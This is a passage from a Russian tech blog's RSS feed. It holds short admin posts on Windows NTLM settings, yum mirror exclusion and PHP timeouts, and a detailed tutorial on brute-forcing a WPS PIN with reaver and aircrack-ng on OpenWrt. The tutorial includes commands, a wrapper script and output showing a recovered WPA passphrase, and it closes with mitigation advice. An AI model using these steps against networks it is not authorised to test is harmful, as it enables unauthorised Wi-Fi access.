<p>Искомый ключ находится по следующему пути: &#8220;Конфигурация компьютера&#8221; -> &#8220;Конфигурация Windows&#8221; -> &#8220;Параметры безопасности&#8221; -> &#8220;Локальные политики&#8221; -> &#8220;Параметры безопасности&#8221; -> &#8220;Сетевая безопасность: уровень проверки подлинности Lan Manager&#8221;. Необходимо выбрать значение &#8220;Отправлять LM и NTLM &#8211; использовать сеансовую безопасность NTLMv2 при согласовании.&#8221;</p>
<p>Для английской версии Windows: &#8220;Computer Configuration&#8221; -> &#8220;Windows Settings&#8221; -> &#8220;Security Settings&#8221; -> &#8220;Local Policies&#8221; -> &#8220;Security Options&#8221; -> &#8220;Network Security: LAN Manager authentification level&#8221;. Необходимо выбрать значение &#8220;Send LM &#038; NTLM &#8211; use NTLMv2 session security if negotiated&#8221;.</p>
<p>После этого подключение сетевых дисков начинает работать ожидаемым образом и без сюрпризов.</p>
<p>PS: В <strong>Windows 7 Home Premium</strong>, спасибо милому Microsoft за удобство, отсутствуют средства управления политиками компьютера и этот метод не работает. Но проблема решается путем редактирования реестра через <strong>regedit</strong>: необходимо по пути <em>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa</em> создать ключ <em>LmCompatibilityLevel</em> типа <em>DWORD</em> и присвоить ему значение 1. Для применения изменений необходимо перезагрузить компьютер.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2013/05/549/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Исключение зеркал в yum</title>
		<link>https://tt.erinome.net/2013/04/510</link>
		<comments>https://tt.erinome.net/2013/04/510#comments</comments>
		<pubDate>Fri, 05 Apr 2013 11:12:33 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=510</guid>
		<description><![CDATA[При обновлении CentOS на серверах мы неоднократно натыкались на такое малоприятное зеркало как mirror.majorhost.net. На нескольких различных хостингах, пользующихся услугами нескольких различных провайдеров, картина всегда одна и та же: http://mirror.majorhost.net/centos/6.4/os/i386/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned &#8230; <a href="https://tt.erinome.net/2013/04/510">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>При обновлении <strong>CentOS</strong> на серверах мы неоднократно натыкались на такое малоприятное зеркало как <strong>mirror.majorhost.net</strong>. На нескольких различных хостингах, пользующихся услугами нескольких различных провайдеров, картина всегда одна и та же:</p>
<pre class="console">http://mirror.majorhost.net/centos/6.4/os/i386/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned error: 403 Forbidden"
Trying other mirror.</pre>
<p>Этих утомительных ошибок можно избежать, добавив данное зеркало в исключения.<span id="more-510"></span></p>
<p>Редактируем файл <strong>/etc/yum/pluginconf.d/fastestmirror.conf</strong>:</p>
<pre class="console">exclude=mirror.majorhost.net</pre>
<p>Вот и всё &#8211; теперь yum будет игнорировать это зеркало. А если же есть необходимость добавить несколько зеркал в исключения, то их названия следует писать через запятую на той же строке.</p>
<p>Интересно, что fastestmirror не смотря ни на что продолжает выбирать mirror.majorhost.net в число наиболее предпочтительных зеркал. Насколько я могу вспомнить, за последние годы мне так ни разу и не довелось увидеть это зеркало в работоспособном состоянии. Зачем они его вообще держат?</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2013/04/510/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[PHP] simplexml_load_file и timeout</title>
		<link>https://tt.erinome.net/2013/03/474</link>
		<comments>https://tt.erinome.net/2013/03/474#comments</comments>
		<pubDate>Tue, 26 Mar 2013 08:44:05 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=474</guid>
		<description><![CDATA[При запросе XML-данных с внешней URL через функцию simplexml_load_file() отсутствует возможность указания максимального времени выполнения (таймаута). В результате при недоступности удаленного ресурса или временных проблемах с доступом к сети могут возникать непредвиденно большие задержки при использовании данной функции. Простым решением &#8230; <a href="https://tt.erinome.net/2013/03/474">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>При запросе XML-данных с внешней URL через функцию <strong>simplexml_load_file()</strong> отсутствует возможность указания максимального времени выполнения (таймаута). В результате при недоступности удаленного ресурса или временных проблемах с доступом к сети могут возникать непредвиденно большие задержки при использовании данной функции.<span id="more-474"></span></p>
<p>Простым решением подобной проблемы является возможность запросить XML-данные каким-либо другим средством, предусматривающим возможность настройки таймаутов, после чего передать полученную строку в <strong>simplexml_load_string()</strong>.</p>
<h3>Использование file_get_contents+simplexml_load_string</h3>
<p>При использовании <strong>file_get_contents()</strong> для запроса удаленных данных имеется возможность указания ряда параметров при помощи т.н. <em>контекста</em>, создаваемого командой <strong>stream_context_create()</strong>. Например, указать предельное время ожидания HTTP-запроса можно следующим образом:</p>
<pre class="console">$opts = stream_context_create( array(
		'http' => array(
			'timeout' => 1
			)
		) );
$xmlstr = file_get_contents($url, false, $opts);
$xml = @simplexml_load_string($xmlstr);</pre>
<p>Либо короче:</p>
<pre class="console">$xmlstr = file_get_contents($url, $false, stream_context_create(array('http' => array('timeout' => 1))));
$xml = @simplexml_load_string($xmlstr);</pre>
<p>Этот способ работает хорошо до тех пор, пока мы не сталкиваемся с таймаутом при запросе доменного имени $url с DNS. В этом случае выставленный в <em>контексте</em> параметр &#8216;timeout&#8217; в обработке не участвует и время ожидания по-прежнему может быть слишком высоко.</p>
<h3>Использование cURL+simplexml_load_string</h3>
<p>Применение библиотеки cURL хотя и требует фактического наличия означенной библиотеки и более громоздко при использовании, но представляет более широкие возможности по настройке параметров соединения:</p>
<pre class="console">$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
$xmlstr = curl_exec($ch);
curl_close($ch);
$xml = @simplexml_load_string($xmlstr);</pre>
<p>При этом параметром &#8216;CURLOPT_TIMEOUT&#8217; определяется не только время выполнения запроса, но целиком время выполнения всех операций cURL, включая запросы к DNS. В PHP начиная с версии 5.2.3 поддерживается также параметр &#8216;CURLOPT_TIMEOUT_MS&#8217;, позволяющий указать длительность таймаута в миллисекундах.</p>
<h3>Запуск под Windows?</h3>
<p>В случае использования apache+php в системе под управлением MS Windows даже при использовании cURL мне не удалось найти никакой действительно работоспособной возможности для обхода длительного таймаута при сбое DNS на стороне локального сервера.</p>
<p>Интересно также, что в принципе запуск модуля cURL (php_curl.dll) в Windows-версии apache по умолчанию происходит с ошибкой, которая в error.log на стороне apache выглядит так:</p>
<pre class="console">PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\php5\\ext\\php_curl.dll' - \xcd\xe5 \xed\xe0\xe9\xe4\xe5\xed \xf3\xea\xe0\xe7\xe0\xed\xed\xfb\xe9 \xec\xee\xe4\xf3\xeb\xfc.\r\n in Unknown on line 0</pre>
<p>Либо, при переводе в человеческий вид, так:</p>
<pre class="console">PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\php5\\ext\\php_curl.dll' - Не найден указанный модуль.\r\n in Unknown on line 0</pre>
<p>Это, конечно, на редкость информативно и предоставляет возможности для полета фантазии на тему того, о каком именно модуле идет речь. Интересно отметить тот факт, что при запуске <em>php -i</em> модуль cURL загружается корректно, а проблема возникает только при запуске из-под apache.</p>
<p>В описываемом случае проблема отсутствующего <em>модуля</em> решилась путем копирования файлов &#8216;libeay32.dll&#8217; и &#8216;ssleay32.dll&#8217; из каталога <strong>C:/php5</strong> в каталог <strong>C:/apache/bin</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2013/03/474/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Использование reaver для восстановления PIN-кода WPS</title>
		<link>https://tt.erinome.net/2013/03/447</link>
		<comments>https://tt.erinome.net/2013/03/447#comments</comments>
		<pubDate>Wed, 20 Mar 2013 17:24:46 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=447</guid>
		<description><![CDATA[В большинстве беспроводных роутеров с поддержкой WPS, реализующей авторизацию по PIN, существует уязвимость безопасности сети. Используя ее становится возможным восстановление PIN-кода точки доступа, а также установленных на ней WPA/WPA2-паролей. Теория Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие &#8230; <a href="https://tt.erinome.net/2013/03/447">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>В большинстве беспроводных роутеров с поддержкой WPS, реализующей авторизацию по PIN, существует уязвимость безопасности сети. Используя ее становится возможным восстановление PIN-кода точки доступа, а также установленных на ней WPA/WPA2-паролей.<span id="more-447"></span></p>
<h2>Теория</h2>
<p>Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие существенно упростить прямой перебор PIN-кодов, иными словами &#8211; реализуется эффективная брутфорс-атака. PIN-код WPS содержит восемь цифр, соответственно существует 10<sup>8</sup> возможных вариантов кода. Это довольно большое число, но в реальности количество переборов можно существенно сократить. </p>
<p>Во-первых, восьмисимвольный PIN-код при авторизации делится на две части, обработка которых происходит независимо друг от друга. Так, точка доступа и клиент обмениваются рядом последовательных сообщений М1-М8, и при этом:</p>
<ul>
<li>Если после отправки сообщения М4 точка доступа отвечает кодом EAP-NACK, значит первая половина PIN-кода ошибочна;</li>
<li>Если после отправки сообщения М6 точка доступа отвечает кодом EAP-NACK, значит вторая половина PIN-кода ошибочна.</li>
</ul>
<p>В итоге, число необходимых переборов сокращается с 10<sup>8</sup> (100&#8217;000&#8217;000) до 10<sup>4</sup>+10<sup>4</sup> (20&#8217;000).</p>
<p>Во-вторых, последняя цифра PIN-кода не является случайной и представляет собой контрольную сумму предыдущих цифр кода. Этот факт сокращает количество вариантов до 10<sup>4</sup>+10<sup>3</sup> (11&#8217;000).</p>
<p>Наконец, немаловажной деталью является тот факт, что на многих домашних роутерах PIN-авторизация: а) включена по-умолчанию; б) не накладывает никаких ограничений на отправителя при отправке множества некорректных PIN-кодов. Это открывает возможность по неограниченному перебору пин-кодов на таких роутерах.</p>
<h2>Автоматизация</h2>
<p>Разумеется, не пришлось долго ждать появления умельцев, реализовавших программный метод для автоматического перебора PIN-кодов &#8211; в лице программы <strong>reaver wps</strong>. Более того, данная утилита даже была портирована в OpenWrt и присутствует в официальном репозитории пакетов.</p>
<p>Итак, для запуска процесса восстановления PIN-кода нашей точки доступа при помощи роутера под управлением OpenWrt нам потребуется установить пакеты <strong>aircrack-ng</strong> и <strong>reaver</strong> (в Buildroot расположены в разделе <em>Network -> Wireless</em>). Первый пакет представляет собой набор утилит и скриптов, при помощи которого мы сможем перевести Wi-Fi передатчик роутера в режим &#8220;Monitor&#8221;; второй &#8211; это непосредственно утилиты для анализа и подбора PIN-кодов.</p>
<p>Сначала подготовим Wi-Fi передатчик нашего роутера. Обратите внимание, соответствующий передатчик уже должен быть активирован в UCI или веб-интерфейсе. Допустим, если выбранный сетевой интерфейс называется <strong>wlan0</strong>, то используем команду:</p>
<pre class="console">root@OpenWrt:~# airmon-ng start wlan0</pre>
<p>Теперь у нас появился новый виртуальный сетевой интерфейс &#8211; <strong>mon0</strong>. К сожалению, чтобы на нем работал режим <em>scan</em>, в современных прошивках требуется отключение &#8220;обычного&#8221; беспроводного интерфейса:</p>
<pre class="console">root@OpenWrt:~# ifconfig wlan0 down</pre>
<p>Теперь мы можем использовать утилиту <strong>wash</strong>, при помощи которой можно увидеть окрестные точки доступа, поддерживающие WPS-авторизацию, а также убедимся в том, что с роутера просматривается целевая точка доступа и ее MAC-адрес:</p>
<pre class="console">root@OpenWrt:~# wash -i mon0

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------------
...
00:01:FD:AC:DD:EA     2       -64   1.0          No          TestAP
...</pre>
<p>Запоминаем номер канала и BSSID нашей точки доступа.</p>
<p>В принципе, на этом этапе мы уже имеем достаточно данных для начала автоматизированноого перебора паролей. Для этого было бы достаточно набрать следующую команду и ждать результата:</p>
<pre class="console">root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -v</pre>
<p>Однако, не все так гладко в Датском королевстве OpenWrt.</p>
<p>Проблема в следующем:</p>
<p>Утилита <strong>reaver</strong> местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими <a href="http://ru.wikipedia.org/wiki/Порядок_байтов" target="_blank">порядок байтов</a> типа &#8220;Little-endian&#8221; (LE, от меньшего к большему). В то же время на многих <a href="https://dev.openwrt.org/wiki/platforms" target="_blank">распространенных роутерах</a> используется представление байт &#8220;Big-endian&#8221; (BE, от большего к меньшему). Первое время это приводило к тому, что <strong>reaver</strong> вовсе не функционировал на роутерах с BE-платформой. Позже были написаны патчи, исправлявшие эту ситуацию, но тем не менее до сих пор не решена проблема с аутентификацией на точке доступа при использовании платформы с BE. Поэтому требуются обходные пути.</p>
<p>В частности, нам поможет ручная аутентификация на точке доступа при помощи утилиты <strong>aireplay-ng</strong> из пакета <strong>aircrack-ng</strong>. Однако в отличие от <strong>reaver</strong> данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:</p>
<pre class="console">root@OpenWrt:~# iwconfig mon0 channel 2
root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0</pre>
<p>Эта утилита работает в foreground-режиме, поэтому после того, как вы убедитесь, что ассоциирование с точкой доступа происходит успешно, требуется прервать ее выполнение по Ctrl+C и перезапустить в фоновом режиме:</p>
<pre class="console">root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0 > /dev/null &#038;</pre>
<p>Затем при запуске <strong>reaver</strong> добавляем ключ <strong>-A</strong>:</p>
<pre class="console">root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -vv -A</pre>
<p>Если все выполнено правильно, то можно будет наблюдать следующие строки:</p>
<pre class="console">...
[+] Trying pin 54545670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 54555679
[+] Sending EAPOL START request
[+] Received identity request
...</pre>
<p>В случае появления повторяющихся сообщений <strong>Sending EAPOL START request</strong> и <strong>WARNING: Receive timeout occurred</strong>, вероятно, ассоциирование с точкой доступа не было успешным. В случае обнаружения зацикленного перебора одинаковых PIN-ов, вероятно, точка доступа все-таки не поддерживает такую авторизацию, либо произошел сбой в работе <strong>reaver</strong>.</p>
<p>В общем случае алгоритм корректного перебора PIN-ов предполагает последовательное увеличение первых четырех цифр до тех пор, пока они не будут подобраны верно. Затем первые четыре цифры фиксируются и начинается перебор предпоследних трех цифр. В последней позиции PIN-кода автоматически генерируется число, являющееся контрольной суммой предыдущих чисел.</p>
<p>Также есть еще один момент, актуальный для запуска <strong>reaver</strong> на OpenWrt:</p>
<p>При работе данная утилита использует файл базы данных sqlite3, а также для хранения информации по текущей точке доступа создается временный файл в текущем каталоге. Оба этих файла перезаписываются после <em>каждой</em> новой попытки подбора PIN-кода. Соответственно, в целях сохранения flash-памяти вашего роутера от износа запускать <strong>reaver</strong> следует из каталога <em>/tmp</em>. Но, к сожалению, это никак не решает проблему постоянной перезаписи sqlite3-базы, расположенной в <em>/etc/reaver/reaver.db</em>. В данном случае решением проблемы стало бы создание копии этой базы в <em>/tmp</em> и добавление симлинка на нее в <em>/etc</em>.</p>
<p>Для упрощения решения проблемы с переносом sqlite3-базы в <em>/tmp</em> и автоматизации запуска <strong>aireplay</strong> был составлен скрипт <strong>reaverrun.sh</strong>:</p>
<pre class="console">#!/bin/ash

if [ $# -lt 3 ]
then
        echo
        echo "Reaver WPS Tool automatization script for OpenWrt"
        echo "(c) 2013 Erinome.net"
        echo
        echo "Usage: $0 &lt;interface&gt; &lt;channel&gt; &lt;bssid&gt;"
        echo
        exit
fi

interface=$1
channel=$2
bssid=$3

cd /tmp

# check if symlink is created
if [ -L /etc/reaver/reaver.db ]
then
        # check if symlink target not ok
        if ! [ -e /tmp/reaver.db ]
        then
                if [ -e /etc/reaver/reaver.db.orig ]
                then
                        # copy backup to symlinked location
                        cp /etc/reaver/reaver.db.orig /tmp/reaver.db
                else
                        echo "Fatal: reaver.db.orig not found!"
                        exit 1;
                fi
        fi
else
        # move reaver.db to reaver.db.orig and create symlink
        cp /etc/reaver/reaver.db /tmp/reaver.db
        mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig
        ln -s /tmp/reaver.db /etc/reaver/reaver.db
fi

# make a trap for signal handling
trap "{ /usr/bin/killall aireplay-ng; exit; }" SIGINT EXIT

# change wireless channel for aireplay to work
iwconfig $interface channel $channel

# run aireplay-ng to associate since reaver ap association is broken in BE
aireplay-ng -1 5 -a $bssid $interface > /dev/null &#038;

# actually run reaver
reaver -i mon0 -b $bssid -vv -A -S
</pre>
<p>Скачать скрипт можно из нашего хранилища: <a href="http://fs.erinome.net/wrt-packages/reaver/reaverrun.sh">reaverrun.sh</a>.</p>
<p>Процесс восстановления PIN-кода может занимать достаточно длительное время, и поэтому есть смысл запускать его в виртуальном терминале типа <strong>screen</strong>.</p>
<p>При завершении восстановления PIN-кода в консоль будет выведен также WPA-passphrase и затраченное на восстановление время:</p>
<pre class="console">[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 29786 seconds
[+] WPS PIN: '73133210'
[+] WPA PSK: 'the-most-secret-passphrase-ever'
[+] AP SSID: 'TestAP'</pre>
<p>После завершения работы с <strong>reaver</strong> необходимо выключить сетевой интерфейс mon0 командой <strong>airmon-ng stop mon0</strong>. Также привести роутер в исходное состояние можно и просто набрав команду <strong>wifi</strong>. При этом временные сетевые интерфейсы будут удалены, а конфигурация беспроводной сети вернется к заданным в UCI или веб-интерфейсе роутера значениям.</p>
<h2>Вместо заключения</h2>
<p>Для обеспечения безопасности беспроводных сетей с поддержкой WPS остается лишь рекомендовать отключить возможность авторизации по PIN-кодам, либо свериться с информацией по возможности обновления прошивки у производителя вашего роутера или точки доступа. Достаточно эффективной защиты PIN-авторизации можно было бы добиться простым ограничением числа попыток авторизаций в единицу времени. Например, таковая защита представлена на современных роутерах марки Zyxel.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2013/03/447/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
